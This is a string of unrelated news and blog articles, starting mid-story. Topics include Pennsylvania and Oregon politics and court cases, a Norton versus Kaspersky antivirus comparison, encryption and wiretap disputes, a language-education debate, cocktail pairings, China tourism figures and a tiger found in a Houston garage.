Domencic also raised the possibility of outside responders being unable to distinguish between a teacher with a gun and the school shooter.

State Rep. Frank Ryan, although he called Whites bill a good bill, brought up the danger of friendly fire resulting from an armed teacher.

State Rep. Tom Mehaffie of Dauphin County said it would be better to provide rural school districts with armed school resource officers.

Whites bill would have requirde armed teachers to receive special training and undergo psychological screening. It contained other measures including notifying families of the presence of armed teachers at their childs school and notifying local law enforcement and hospitals.

However, specific information, such as names of teachers allowed to carry a gun at school, would not have been subject to the states open records law, and his bill would have made it illegal to discuss those things in public at school board meetings.A black employee of the Pennsylvania Liquor Control Board cant sue that agency after being falsely accused of trying to rob a state liquor store, a federal appeals court panel has ruled.

The civil rights case lodged by Earl Patterson cant proceed because the LCB is a government agency and so is immune from his racial discrimination suit, Judge L. Felipe Restrepo concluded in a precedential opinion from the U.S. Court of Appeals for the 3rd Circuit.

According to Restrepo, the false accusation against Patterson, a maintenance worker for the LCB, was made by the assistant manager of a state store in Eddystone, Delaware County, on Nov. 17, 2014.

Patterson, a Philadelphia resident, was sent to the store to ask whether the building was in need of repairs. He said he identified himself to the assistant manager as an LCB employee and asked if the stores plumbing and electrical systems were in working order.

The assistant manager became very rude to Patterson, so he exited the liquor store, entered his state-owned van and reported the assistant manager to his foreman over the phone, Restrepo wrote.

The foreman told Patterson to go to another store in Newtown Square. On the way, Patterson was pulled over by police and questioned about robbing the Eddystone store, the judge noted. During the stop an officer informed Patterson that the Eddystone assistant manager had called to report a black guy in a state van who was trying to rob her store, Restrepo wrote.

Patterson then sued the LCB for racial discrimination and civil rights violations. He appealed to the circuit court after a U.S. Eastern District judge ruled the LCB is shielded by governmental immunity.

In upholding the lower courts dismissal, Restrepo noted Pennsylvania case law overwhelmingly views the PLCB as an arm of the state that is covered by the immunity umbrella.From elementary school to high school, kids learn things like math, reading and basic science. But for many kids, some subjects--like learning a second language--are not offered at all. Research shows that learning multiple languages early onimproves brain function and increases empathy, and many believe it should be required learning in all schools. Others say students already have enough on their plate. What do you think?

PERSPECTIVES

There's no question that students benefit from learning a second language. According to Panda Tree, a site dedicated to helping young kids learn multiple languages, research shows that bilingual kids and adults have higher brain function than their monolingual peers, particularly when it comes to skills like multi-tasking and paying attention.

Furthermore, when kids learn a second language, they are more likely to perform well on standardized tests:

Given the importance school systems place on standardized tests, particularly the ACT and the SAT, it seems like a no-brainer that a second language would be included in every curriculum. It will help achieve a district's goals.

Classes That SHOULD Be Mandatory in High School:



- Accounting

- Money Management

- Taxes

- How to Build and Keep Good Credit

- Establishing a Job/Career

- Nutrition

- Self-Defense



Also, Americans should be forced to be fluent in at least one other language.  Omni (@InfernoOmni) April 27, 2018

Others don't see these "spillover" benefits as worth the time it would take to for all elementary students to study a second language. According to Forbes' Art Carden, studying another language in school is a waste of time, especially given how few students end up becoming fluent in the languages they study.

Carden ties the question of studying multiple languages to the first lesson of economics: scarcity.

According to Carden, other classes like art history, or even economics itself, would have a more lasting impact on students, while still increasing their cultural understanding much in the same way studying a second language would.

Keep in mind, the U.S. does not have an official language. So when it comes to learning a second language, some could argue it's every young person's civic duty. Although English is the most common language in America, the U.S. is also home to over 40 million native speakers of Spanish, Chinese, and French collectively. In a country of immigrants, it is essential that the American education system encourage diversity of language.

Furthermore, learning a second language early on in life can increase your ability to empathize with others. Panda Tree's founder, Kristina Klausen, looked to Dr. Katherine Kinzler of Cornell University for insight:

Given the country's current divide and rhetoric when it comes to immigration and refugees, empathy through learning would surely only help.

it amazes me how so many school curriculums teach foreign language solely in hs  red cr7 (@lockeheartt) September 28, 2018

Even experts in the field agree that learning multiple languages in school is a waste of time. HuffPost's linguist and lexicographer Delfin Carbonell, Ph.D. is of the mind that many monolingual people and societies get on perfectly well with their single language.

Furthermore, there are roughly 6,500 languages spoken across the globe, and Carbonell argues that the multitude of choices make it impossible to dictate curriculums that include foreign language options for students.

Instead of arguing over Chinese for students' future business opportunities or Spanish to promote unity, Carbonell's advice is simple: when in doubt, abstain. The reformed linguist finishes his proclamation, saying:

The Tylt is focused on debates and conversations around news, current events and pop culture. We provide our community with the opportunity to share their opinions and vote on topics that matter most to them. We actively engage the community and present meaningful data on the debates and conversations as they progress. The Tylt is a place where your opinion counts, literally. The Tylt is an Advance Local Media, LLC property. Join us on Twitter @TheTylt, on Instagram @TheTylt or on Facebook, we'd love to hear what you have to say.When one Kentucky fisherman made a stop at a local pond on his way home, he was hoping to find a goldfish or koi fish to show his girlfriend.

But he never envisioned catching what he did.

Hunter Anderson wound up reeling in a 20-pounder that looks like an overgrown goldfish. As an avid fisherman, Anderson said this fish was the strangest hes ever seen, according to CBS News affiliate WKYT.

Cassie Anderson, Hunters sister, posted the photo of Hunter with the fish on Facebook on Saturday. As of Wednesday morning, the post had been shared more than 2,000 times.

What you are witnessing is NOT national geographic! It is not a stolen image or edited photo! This is my brother!! Who is holding what could possibly be.... that pet goldfish we flushed when I was 9, Cassie wrote.

What you are witnessing is NOT national geographic! It is not a stolen image or edited photo! This is my brother!! Who... Posted by Cassie Anderson on Saturday, February 9, 2019

To catch the fish, Anderson used only some pieces of leftover biscuits for bait on a Cashion rod.

It was one of the hardest fighting fish Ive ever fought, Anderson told CBS News. I was screaming and jumping up and down as I had never seen anything like it.

After posing for the photo, Anderson did return it to the pond, where he says it swam away.If theres one antivirus suite that gets people excited it has to be Kaspersky. The popular suite from Russia-based company Kaspersky Labs is a favorite among tech types, and thats despite the controversy from 2017 where the company was accused of being a tool of Russian intelligence.

Then theres Symantecs Norton Premium Security, a go-to security solution for many years thats still a great choiceand our current favorite antivirus suite.

Both are popular choices for protecting your PC. Lets take a look at how they compare in key categories in this head-to-head matchup.

Norton vs. Kaspersky: App design

IDG Kaspersky Total Security

The desktop apps for Norton and Kasperksy both offer an easy-to-understand interface employing mobile-style tiles. With Kaspersky, the primary screen has eight tiles representing various modules in addition to a More Tools button that leads to more options. Norton, meanwhile, uses five category tiles that let you jump into the apps features from there.

Kasperksys approach means you have to take fewer steps to get key features such as security scans, updates, and parental controls. The trade-off is that you have more options to sort through from the primary dashboard.

Norton, meanwhile, requires an extra click to get to key features, but the starting dashboard is simpler with just a few categories.

Both applications are easy to use and it really comes down to which approach you prefer. In our opinion, Norton is just a little bit easier to use than Kaspersky, but it would be totally reasonable to go the other way.

Winner: Norton

Norton vs. Kasperksy: Performance

Both Norton and Kaspersky showed little to no impact on performance when we ran PC Mark 8s work conventional test after a full system scan. With Norton the PCs performance improved slightly, while with Kasperksy performance remained more or less the same before and after installation.

The file-conversion test using Handbrake yielded a similar result. Norton improved performance slightly, while things stayed more or less the same with Kaspersky.

Winner: Norton

Norton vs. Kaspersky: Price

Norton Security Premium costs $55 per year for new users, and the standard price is $110 for protection of 10 devices. Kaspersky Total Security is $50 per year for a new user, and the standard price is $100 for five devices. The price-per-device makes Kaspersky one of the more expensive A/V suites.

Winner: Norton

Norton vs. Kaspersky: Extra features

IDG Norton Security Premium

Kaspersky Total Security has a lot to offer when it comes to extra and non-standard features. It has a password manager, a sandboxed browser to protect financial transactions, a tool for blocking unauthorized access to webcams, a network monitor, PC cleaner, and a software updater.

Norton has some similar features such as the password manager, PC cleaner, and PC optimization tools, but Kaspersky offers a lot more extras and theyre all fairly useful.

Winner: Kaspersky

Norton vs. Kaspersky: Protection

IDG Kasperksys Network Monitor.

In the most recent results from A-V Test, both Kaspersky and Norton scored 100 percent in September and October for the zero-day and widespread malware tests. Over at AV-Comparatives both suites scored very highly in the Real-World Protection and Malware Protection tests. In the Malware Protection tests offline detection rate, however, Norton scored much lower than Kaspersky81.5 percent versus Kasperskys 99.2 percent.

Finally, at SE Labs both Norton and Kaspersky received a AAA ranking.

Winner: Tie

Norton vs. Kaspersky: Conclusion

The bottom line is that both Norton and Kaspersky are excellent antivirus suites, but when you consider price, app design, performance, and protection were putting Norton ahead of Kaspersky. The latter is great for extra features, and protection is equal to Norton, but the price makes it less of a value.New, on the website of the Interpreter Foundation:

The Church in the DR Congo: A Personal Perspective: Part 11, The Labourers Are Few

***

From the astonishing Jeff Lindsay:

Souls that Expand and Swell: An Intriguing But Not Unique Book of Mormon Concept

***

Do not  do not  entrust the fate of your eternal soul to the tender ministrations of John Dehlin.

Heres a brand new resource for evaluating his latest venture:

Mormon Stories Essays: Reviewing John Dehlins Truth Claims Essays

***

And, on rather a different note, heres a new effort to assess the claims of Jonathan Neville, an aggressively vocal proponent of the Heartland model for Book of Mormon geography:

Neville-Neville Land

This is also relevant:

Video: What did prophets think about Book of Mormon geography? Their old books may give clues.

***

Years ago, I thought that it might be fun someday to write a guide to what logicians call practical fallacies or informal fallacies. Many such guides have already been published, but this one, I thought, would be unique in drawing its specimens entirely from the publications of Evangelical Protestant anti-Mormons.

One particular then-fresh example had inspired me.

A professional anti-Mormon named Robert McKay, writing for the now defunct Utah Evangel (published by Utah Missions, Inc., of Marlow, Oklahoma) made this argument:

Latter-day Saints, he said, claim to be Christians. But this cannot be true because, if it were, all Christians would necessarily accept the Book of Mormon, regard the president of the Church of Jesus Christ of Latter-day Saints as a prophet, believe in Joseph Smiths First Vision, and so forth. But they dont. Catholics dont, and Protestants dont, and the Orthodox dont. Thus, he declared, by ironclad logical deduction Latter-day Saints cannot be Christians.

Wow.

The reasoning seems to be that, if all Latter-day Saints are Christians, it must follow that all Christians are Latter-day Saints.

The obvious problem here was Mr. McKays confusion of genus for species, of set for subset. In our correspondence, I tried to illustrate this for him by giving him precisely analogous arguments that reached obviously false conclusions:

If Democrats are politicians, politicians are Democrats.

If lakes are filled with water, everything filled with water is a lake.

If drowning causes death, all deaths must be caused by drowning.

All men are mortal.

Socrates is a man.

Therefore, all men are Socrates.

Catholics claim to be Christians. But this cannot be true because, if it were, all Christians would necessarily venerate the Mass, regard the bishop of Rome as the leader of global Christendom, etc. Which they obviously dont.

Some people claim that squirrels are mammals. But this cannot be true because, if it were, all mammals would necessarily gather nuts, scurry up and down trees, etc. Which, obviously, dolphins and poodles and lions dont do.

Some claim that General Motors is a manufacturer of automobiles. But this cannot be true because, if it were, all automobile manufacturers would necessarily be headquartered in Detroit. But Toyota and Jaguar and Rolls Royce and Mercedes Benz and Nissan and Volkswagen and Ferrari arent headquartered in Detroit.

Obviously, it would be easy to multiply such examples all day long (e.g., poems cant be literature, Princeton cant be a university, Baptists cant be humans, and so forth). But he never grasped the point. Really. He never did.

Anyway, Ive long since lost most of my interest in Evangelical Protestant anti-Mormonism. But Ive recently experienced at least a slight flicker of revived interest in doing that handbook of logical fallacies.

Two specimens from just the last twenty four hours have reminded me of it.

In one, a habitual and often rather frenetic misreader of my blog entries mocks my little piece entitled New light on the question of bees and the Book of Mormon as arguing that evidence of apiculture among the ancient Maya proves the Book of Mormon true. Of course, I make no such claim. Like many of his comments previously, this recent response might well serve as an example of a straw man argument.

Another individual, responding to the Interpreter essay that I discuss in my blog entry On that article about Mental Distress and Disaffection from the Church, insists that, although it plainly doesnt suggest that loss of faith is proof of mental illness, the actual intent of the essay is to plant precisely that defamatory notion in the minds of members of the Church of Jesus Christ of Latter-day Saints. This specimen could serve to illustrate a fallacious appeal to motive, in which a thesis is challenged by calling into question the motives (or, even worse, as in this case, the hypothetical or merely conceivable though undemonstrated motives) of its advocate. It represents a special case of the ad hominem circumstantial argument.In August 2018 Patently Apple posted a report titled "The Government Filed a Motion to Hold Facebook in Contempt of Court for Refusing to carry out a Surveillance Request." The U.S. government tried to force Facebook to secretly recode its Messenger app to allow the feds to listen into an encrypted, real-time voice call on suspected members associated with the notorious MS-13 gang. Facebook declined, and the feds pushed the court to hold the company in contempt. While the case collapsed, details of the case remain under seal and out of the public eye.

Fast forwarding to the present, Reuters reported yesterday that "a U.S. Judge on Monday rejected a bid by two civil rights groups that had sought to force the release of documents describing a secret U.S. government effort to compel Facebook Inc. to decrypt voice conversations between users on its Messenger app.

U.S. District Judge Lawrence ONeill in Fresno ruled that the documents described sensitive law enforcement techniques and releasing a redacted version would be impossible.

"The materials at issue in this case concern techniques that, if disclosed publicly, would compromise law enforcement efforts in many, if not all, future wiretap investigations," ONeill wrote, adding that the underlying criminal case was still ongoing.

U.S. telecommunications companies are required to give police access to calls under federal law, but many apps that rely solely on internet infrastructure are exempt. Facebook contended Messenger was covered by that exemption, sources told Reuters.

Public court filings in the Fresno case showed the government was intercepting all ordinary phone calls and Messenger texts between the accused gang members.

An FBI affidavit cited three Messenger calls that investigators were unable to hear. The participants in those calls were arrested anyway. You could read more about this report here.

Of course the war between law and enforcement and Silicon Valley is bound to continue to take away "exemptions" for online apps.

Yesterday Bloomberg posted a report titled "India Seeks Access to Private Messages in WhatsApp Crackdown.

The argument that telecom companies must comply with wiretaps shouldn't be exempt for online apps in the U.S. is now being echoed in India.

Gopalakrishnan S., a senior official in the Ministry of Electronics and Information Technology known as MEITY told Bloomberg in a phone interview that they don't care about petty privacy matters but rather "traceability to prevent or detect crimes." If telecom companies like Airtel, Jio and BSNL are mandated to maintain call records, why should WhatsApp get a different rule?"

Gopalakrishnan has been asking Facebook for six months or more to bring more accountability to their platform. He noted that "pedophiles can go about on WhatsApp fully secure that they wont get caught. It is absolutely evil."

While Facebook tried to sound all concerned about the matter, they claimed that 250,000 accounts are banned each month for sharing child sex abuse and vile content. On the other side of this, Facebook is planning to double down and adding default encryption to users' chats on Messenger so that not even Facebook could see what is being said or exchanged, killing their own concern over pedophile activity.

India is the next great emerging market for technology companies. Its online population, just 71 million people a decade ago, is already 480 million and is projected to grow to 737 million by 2022, according to Forrester Research Inc. That has led to heavy investment by American technology leaders, from Amazon to Facebook, Twitter and Microsoft. Yet the latest episode shows that Indias government is charting its own, at times unpredictable, path in regulating the market.

His ministry is meanwhile drafting what are called the 'Intermediary Guidelines,' which would make online platforms like WhatsApp responsible for the content their users share. Such regulations would also affect Facebook, Twitter and popular Chinese apps such as Bytedance Ltd.s TikTok. A draft published on the MEITY website suggests holding such services responsible for a broad range of content, including information found to be blasphemous, defamatory, obscene, pornographic, paedophilic, libellous, invasive of anothers privacy, hateful, or racially, ethnically objectionable, disparaging, relating or encouraging money laundering or gambling, or otherwise unlawful in any manner whatever.

If the draft rules come into force, WhatsApp and others will have to make messages traceable, remove objectionable content within 24 hours, and cooperate with government agencies investigating offenses.

WhatsApp hasnt agreed to break its encryption in any market, but its under increasing pressure from governments to censor content and provide details of private communications. In Australia, for instance, legislation would allow the government to ask technology companies to access encrypted communication including photographs and messages in the interest of national security, law enforcement or even road safety. For more on this, read the full Bloomberg report here.

In late December Australia was the first Government to pass an anti-encryption law which may or may not start a wave of actions from governments around the world to force Silicon Valley and other foreign app developers to fall into line with laws already on the books that force telecom companies to comply with wiretap requests with a court order. There should be no exemptions for online apps.

About Making Comments on our Site: Patently Apple reserves the right to post, dismiss or edit any comments. Those using abusive language or negative behavior will result in being blacklisted on Disqus.Yesterday Patently Apple posted a report titled "U.S. President Trump Signed Executive Order to Accelerate Americas Leadership in Artificial Intelligence." In a follow-up announcement we're learning that the chief executives of Apple Inc, Walmart Inc, IBM Corp and other major companies will be joining a Trump administration advisory board that hopes to prepare U.S. workers to deal with job training issues and the workforce shift brought by artificial intelligence and automation, the U.S. Commerce Department said on Wednesday. The board members will serve until 2020 and will work with the administrations National Council for the American Worker.

Trumps executive order said "for too long, our countrys education and job training programs have prepared Americans for the economy of the past."

Ivanka Trump said in a statement that the administration wants "all Americans to have the skills and opportunities to secure good paying jobs and successfully navigate technological disruptions and the rapidly changing nature of work."

On Tuesday, the Bureau of Labor Statistics said U.S. job openings reached a record high in December at 7.3 million. The White House says the job openings present "a mismatch between the skills needed and those being taught, requiring immediate attention to help more Americans enter the workforce." For more on this, read the full Reuters report here.

About Making Comments on our Site: Patently Apple reserves the right to post, dismiss or edit any comments. Those using abusive language or negative behavior will result in being blacklisted on Disqus.I dont know if you guys have heard the devastating news, but as if enough stuff werent falling apart, apparently Necco, the company that makes the little chalky Valentines Day hearts with the cutesy messages will not be making them this year due to an elaborate business-fail. Figures.

So, those of you feeling Valentines Day Festive will have to make do with chocolate. Fortunately, we have a few suggestions for you!

Do you have money literally burning a hole in your pocket? Well, get the money out of your pocket before the conflagration spreads to your underpants, friend! You know who wants to help you? Academia, an Austin, Texas cocktail bar where you can consume a $100 chocolate martini! It features an ultra-rare fetish-chocolate from Ecuador called Toak, which my sources suggest is made from only fifteen trees. This conservation darling is blended with Grey Goose La Vanille, locally sourced eggs, 12-year-old balsamic vinegar and some liquid nitrogen for showmanship, topped off with a float of edible silver leaf. This isnt just a conspicuous consumption thing, though-10 of your hundred bucks will go to the Third Millennium Alliance conservation group. So its principled conspicuous consumption! (Seriously, if it saves a species, I am all for it, whether its cacao or arboreal salamanders.)

Oh, and lets say youre on a wee bit more of a budget than that-you know, like maybe youre a writer. Alberfeldy Whiskey brand ambassador Una Green Goldman suggested a nice make-at-home alternative she is calling Bee Mine. Here are the details.

Bee Mine

Ingredients

2 oz. Aberfeldy 12-Year-Old infused with Cacao Nibs

1 Shot of Espresso

 oz. Salted Wildflower Honey Syrup

Directions:

For the Infused scotch: Infuse the Aberfeldy 12 with cacao nibs overnight. After 24 hours, strain the liquid.

For the Honey syrup: To make the honey syrup, mix 2 parts honey to 1 part water then add two large pinches of sea salt to the syrup.

For the Cocktail: Combine all ingredients in a cocktail shaker. Shake long and hard, and finely strain. Serve the cocktail in a coupe glass.

Meanwhile, if mixing, blending and infusing is just more than you have in you right now, you have my sympathies and also some broad suggestions for Chocolate and the Spirits That Love Them.

If you are a milk chocolate person, Id like to point out that, while your foodie friends probably rag on you for your childish palate, you can confidently create grownup drink pairings that are suited to it. One example: Aged rum. I was recently turned on to Diplomaticos Reserva Exclusiva, which seems to be one of a pretty limited number of non-controversial things currently coming from Venezuela. It is a smooth customer to be sure, with prominent notes of maple, vanilla, licorice, citrus and pineapple. If rum isnt your bag, port might be! Personal rec: Fonsecas Siroco white port, a lightly oaky, straw-colored fortified wine with enough acidity to be a foil for milk chocolate and a fruity aromatic profile that favors apricots and peaches.

Dark chocolate is admittedly more versatile in some ways, and the good stuff is complex and precious enough to warrant careful pairing. If you like your chocolate with nuts, especially almonds or pecans, I like bourbon (Four Roses is a reasonable draft pick). The echo between the nuts and the cacao and the oaky, nutty, caramel-y notes in the bourbon is just pleasurable. A more offbeat but totally worth-it partner is apple brandy or Calvados (Calvados specifically comes from Normandy and it has a different character than American apple brandies, but they both work). Boulard Calvados will set you back about $50, but brandies are something you sip slowly in small quantities and honestly, if you do the per-drink math, its not a huge investment. Its so nice, too-a bit like the love child of bourbon and tannic apples, with a strong vanilla note on the finish.

Cinnamon-infused Mexican chocolate, meanwhile, is basically begging to be paired with a reposado tequila. Spiced chocolate will nicely amplify the burn at the back of your throat, and its a strong match for tequilas combination of fruity and herbaceous notes. Partida Reposado is a nice choice, with ephemeral floral notes on the nose and rounded fruitiness. (Your brand allegiances may vary-I also have to point out that to date, Milagro is the only reposado I have ever been caught drinking straight out of the bottle. On a bus. Paired with nothing whatsoever. With a hot-pink Lucha Libre mask on my head. Anyway.)

Valentines Day is rougher than the military-industrial-advertising complex would have you believe, guys. If you actually have someone in your life who makes you feel like celebrating romantic love, you have to deal with potentially crippling performance pressure. And if you dont, you will have your nose rubbed in that fact so relentlessly it will become obvious to you why February is the shortest month of the year. So, like, do what you have to do.Foreign travelers made 30.54 million trips to China in 2018, a 4.7 percent increase than that of 2017, according to China's Ministry of Culture and Tourism.

Travelers stayed at least one night in China on 23.64 million of the trips, a growth of 5.2 percent than the figure of 2017, said a post on the ministry's website Tuesday.

It said foreign travelers spent 73.1 billion U.S. dollars on their trips in China last year, 5.1 percent more than the amount in 2017.

The Republic of Korea, Japan, the United States, Malaysia and Singapore were among China's 10 largest source markets of tourism in 2018, according to the ministry.

China offers a 24-hour visa-free transit to eligible international travelers, while people of 53 nationalities can enjoy a 144-hour visa-free transit through a number of cities, including Beijing, Shanghai, Nanjing, the northern city of Shijiazhuang and the northeastern city of Shenyang.

The country's southernmost island province of Hainan, which offered a 15-day visa-free stay for group tourists from over 20 countries for years, started to allow group and individual visitors from 59 countries to travel there visa-free and stay for up to 30 days under certain conditions in May last year.

China's tourism revenue rose by 10.5 percent year on year to 5.97 trillion yuan (about 856.5 billion U.S. dollars) in 2018, with over 79.9 million people working in tourism and related industries.Goose Creek, SC (29445)

Today

Abundant sunshine. High 84F. Winds ENE at 5 to 10 mph..

Tonight

A few clouds. A stray shower or thunderstorm is possible. Low 66F. Winds NE at 5 to 10 mph.Oregon Secretary of State Dennis Richardsons office announced Tuesday that it plans to fine the union-backed political action committee Defend Oregon $94,750 for failing to turn in nearly 100 ballots until after the Nov. 6 election.

Canvassers with the group had collected 96 general election ballots from voters as part of a get-out-the-vote effort, with the understanding the group would submit them in time for those votes to be counted, according to a notice from the Secretary of States Election Division.

The day after the election, Defend Oregon staff discovered the undelivered ballots and one of the groups directors, Becca Uherbelau, drove them to the Multnomah County Elections Division. Uherbelau is also the executive director of the associated political nonprofit Our Oregon.

Since the election was over, the ballots were not counted. Oregon law requires people who collect ballots on behalf of other voters to turn them in on time. Failure to do so is punishable by a fine of up to $1,000 per violation. In the secretarys view, the harm of not having a ballot counted is more severe than any other violation of election law, state elections director Stephen Trout wrote.

Defend Oregon now has 20 days to decide whether to request a hearing on the matter before an administrative law judge.

In a statement, Defend Oregon did not say whether the group plans to request a hearing of pay the fine.

From the very beginning, Defend Oregon has taken responsibility for the mistake during the November 2018 election that resulted in some ballots being turned in late, Uherbelau said in an emailed statement. Increasing access to the ballot is central to our work at Defend Oregon, so we take this mistake very seriously and sincerely apologize to impacted voters who entrusted us with their ballots.

Uherbelau described ballot collection as a vital tool" to ensure the participation of voters who might otherwise face obstacles turning in their ballots, and she said Defend Oregon scrutinized its ballot collection process to prevent future mistakes.

 Hillary Borrud | hborrud@oregonian.com | 503-294-4034 | @hborrud

Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox.A Myrtle Creek police officer was arrested last week after authorities say he pretended to be a child on Facebook to solicit sexually explicit photos from teenaged girls. He is also accused of separately sexually assaulting a 10-year-old girl.

Alexander Salterio, 33, told Oregon Department of Justice agents after his arrest Friday that he sometimes sent girls nude photos of himself from his home in Roseburg so they would send him photos in return, according to a probable cause affidavit.

Authorities determined a 13-, a 14- and a 17-year-old girl sent photos to Salterio, and there were others suspected victims between the ages of 12 and 17, the affidavit said. The Justice Department received two tips from the National Center for Missing and Exploited Children in December after Facebook reported uploaded content as child pornography. Authorities later traced one of the IP addresses to Salterio and another to one of the girls, according to the court documents.

According to the affidavit, Salterio would contact girls on Facebook while pretending to be a teenage boy and solicit sexually explicit photos from the children. He would also send sexually explicit photos and videos of a boy and claim it was him in addition to photos of himself, the affidavit said.

With most victims (Salterio) would direct them what intimate part to photograph or video and how they should do it, the affidavit said. With some victims he would threaten to post their previously disclosed intimate images online if they refused to provide further images and videos.

The 10-year-old girl disclosed the abuse to authorities on Friday, the affidavit said.

Salterio has been a police officer with Myrtle Creek since August 2017, state records show. Myrtle Creek is about 18 miles south of Roseburg.

He remained held in the Douglas County jail Tuesday on accusations of using a child in display of sexually explicit conduct, first-degree encouraging child sexual abuse, coercion, first-degree unlawful sexual penetration, first-degree sexual abuse and aggravated identity theft.

-- Everton Bailey Jr.

ebailey@oregonian.com | 503-221-8343 |@EvertonBailey

Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox.By E. Werner Reschke

Rep. Reschke, a lifelong Trail Blazer fan, represents House District 56 in Klamath and Lake Counties.

The Oregon Trail Blazers. These three words set off a firestorm in my legislative office in Salem earlier this month. I heard from many Oregonians who were passionate about why the name should remain the Portland Trail Blazers. I was questioned on how a legislator with a pro-business mandate could suggest a private organization change its name and why my focus wasnt on critical issues instead of this one.

For those who dont know me, I grew up in Beaverton. I am very familiar with the Trail Blazers and their rise to power in 1977 with Bill Walton, Maurice Lucas, Bob Gross, Lionel Hollins and Dave Twardzik, as well as their close to glory days in the early 1990s with Clyde-the-Glide Drexler, Jerome Kersey and Terry Porter. I think the Blazers organization is a strong asset to the city of Portland  and to the rest of Oregon.

As a legislator, I am constantly swimming in the ocean of ideas. I champion some of them because I believe they are helpful to all Oregonians. And I appreciate civil discourse. When done right, an idea can be heard on its merits, from all sides of the political spectrum.

For example, as part of a tour this summer to build enthusiasm statewide, the Trail Blazers visited my district in Klamath County. The idea came to mind: Why not the Oregon Trail Blazers? Statewide enthusiasm is the teams goal. This is a team for all Oregonians to claim as their own. Why not try to unify Oregon and bridge the gap I too often see in this building between Portland legislators and the rest of us. So I crafted a resolution (no additional tax dollars were spent as some claim) and introduced it on Feb. 1.

To be clear, this idea is a resolution  not something that becomes law. The lack of civics knowledge in our society saddens me. When a resolution passes, it becomes an expression of the legislative body. It acknowledges a special contribution  it is not law that places any obligation on the subject at hand. If it were to pass in the House, the resolution would simply state to the Trail Blazers organization how elected leaders in their state feel about a name unifying Oregon.

Lets move onto my work on critical issues. The same day I introduced the Trail Blazer resolution, I also introduced bills  which can become law  to lower public school classroom sizes; provide incentives for medical providers to consider employment in rural Oregon; and to give county commissioners more local control on food stamp benefits. I also gave a floor speech about fixing the biggest problem in our state: PERS, the state pension system.

It felt to me as if the media chose to only cover this resolution as sensational  the mere suggestion of discussing a reasonable name change for the Trail Blazers. I believe Oregonians deserve to understand more, not less, of what is happening in Salem with other ideas addressing carbon, housing costs, homelessness, health care and other critical issues.

If left on course, the current trajectory of this building in 2019 means Oregon becomes far less affordable. That is why I am here. These critical issues are what I am working towards  policies that all Oregonians statewide can afford, while at the same time are compassionate to those who really need our help. Lets unify our state.Jennifer C. Weathers -- who repeatedly made news headlines last year after her 27-year-old daughter tumbled to her death from Weathers moving car -- wants to change her name.

Weathers, 50, filled out a name change application and submitted it to Washington County Circuit Court on Monday. Shes asking a judge to change her name to Jennifer C. Jaeger.

The process costs $117 and takes about two weeks for approval, according to the Oregon Judicial Department.

Reached by phone Tuesday, Weathers said she didnt want to comment about her name change, including the reason for it. According to court records, Jaeger appears to be a last name that Weathers used earlier in her life.

A screenshot from Jennifer Weathers' name-change application.

She turned in her application one day after she was released Sunday from Yamhill County Jail, having completed a five-night sentence for driving under the influence of intoxicants on the Aug. 18 night her daughter, Meighan Cordie, died.

Weathers, Cordie and Cordies young daughter had left a rural Yamhill County wedding that summer night and had planned on returning to Weathers King City home.

Police and prosecutors originally investigated whether Weathers should be charged with a homicide after her daughters body was found down an embankment Aug. 23. Yamhill County District Attorney Brad Berry said Cordie apparently jumped or fell from the moving car that Weathers was driving.

Weathers called non-emergency dispatchers on Aug. 19 and said she was kind of worried about Cordie because she hadnt seen her daughter since the wedding. She said she checked jails and hospitals, to no avail.

Prosecutors say Weathers didnt tell investigators all that she knew, including that she had gotten into a physical fight with her daughter in the car and that her daughter had pulled out a clump of her hair.

But Berry said there was insufficient evidence to pursue homicide charges against Weathers. The state medical examiners office ruled Cordies death accidental.

-- Aimee Green

agreen@oregonian.com

o_aimee

Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox.A 30-year-old Portland man who secretly recorded his new female roommate while she was naked in her bedroom was sentenced Tuesday to sex offender treatment and three years of probation.

Thats on top of the five months that Arjuna Das Busek has already spent in jail in Multnomah County.

Buseks legal troubles began after he posted an online ad last summer seeking a roommate to share his two-bedroom apartment, near Southeast 30th Avenue and Stark Street in Portland. The woman responded to the ad and moved in last August. When Busek told her he was attracted to her, she asked to keep their relationship platonic, investigators say.

Within two weeks of moving in, the woman discovered Buseks phone in her bedroom, recording her while nude, court papers say. The woman realized Busek had set up the recording because the beginning of the video shows him placing the phone in her room while he was naked.

Investigators say Busek also had filmed the woman naked two days earlier.

According to court papers, Busek admitted to many years of the same behavior in an apology letter that he wrote to the woman. That behavior included video recording his family members while they were naked and listening to his sister and her boyfriend having sex.

Defense attorney Jon Martz said Busek has been remorseful from the beginning and has been searching to understand why he has behaved this way in hopes of getting better.

He is one of the most self-aware individuals that Ive ever met, Martz said.

Martz said Busek has had a difficult time in jail, eating rice and beans for every meal since his September booking date because hes a vegan. Busek is expected to be released almost immediately.

He had worked at a Southwest Portland vegan cheese shop, but now must look for new work, as well as a new apartment.

Busek pleaded guilty to first-degree burglary for entering the womans bedroom without permission. He also pleaded guilty to two counts of first-degree invasion of personal privacy.

Multnomah County Circuit Judge Christopher Marshall followed terms outlined in a plea agreement by sentencing Busek to probation, sex offender treatment, polygraph tests and random searches of his phone and other electronic devices by his probation officer. Busek also must undergo an assessment to see if he has addiction issues, and any drug treatment deemed necessary. He must pay the victim about $2,500 -- for her moving costs to a new apartment, her lost wages and treatment for her emotional distress.

Busek told the judge hes looking forward to the polygraph tests because he can prove that he truly intends to rebuild his life.

If Busek follows all court orders, he wont be required to register as a sex offender.

-- Aimee Green

agreen@oregonian.com

o_aimee

Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox.Houston doesnt get many calls like the one it received Monday.

A woman went to an abandoned house to smoke marijuana. But inside the garage, she found a tiger in a cage, said Houston Police Department spokesman Kese Smith.

The woman called 311, the city's nonemergency hotline. Officials, at first, were skeptical.

"We questioned them as to whether they were under the effects of the drugs or they actually saw a tiger. They saw a tiger in this building, this vacant house that's obviously been abandoned for some time," Sgt. Jason Alderete, of the department's Livestock Animal Cruelty Unit, told ABC affiliate KTRK.

Police are investigating who owns the tiger and who left it in the house's garage, Smith said. It also is unclear who owns the house and what charges, if any, will be filed. Houston and the state of Texas do not allow owning exotic animals, such as tigers, as pets.

Though friendly and well-fed - somebody had been leaving big bowls of food for the animal - the tiger was in a cage too small for its size, said Lara Cottingham, spokeswoman and chief of staff for the city's Administration and Regulatory Affairs Department, which oversees Houston's animal shelter.

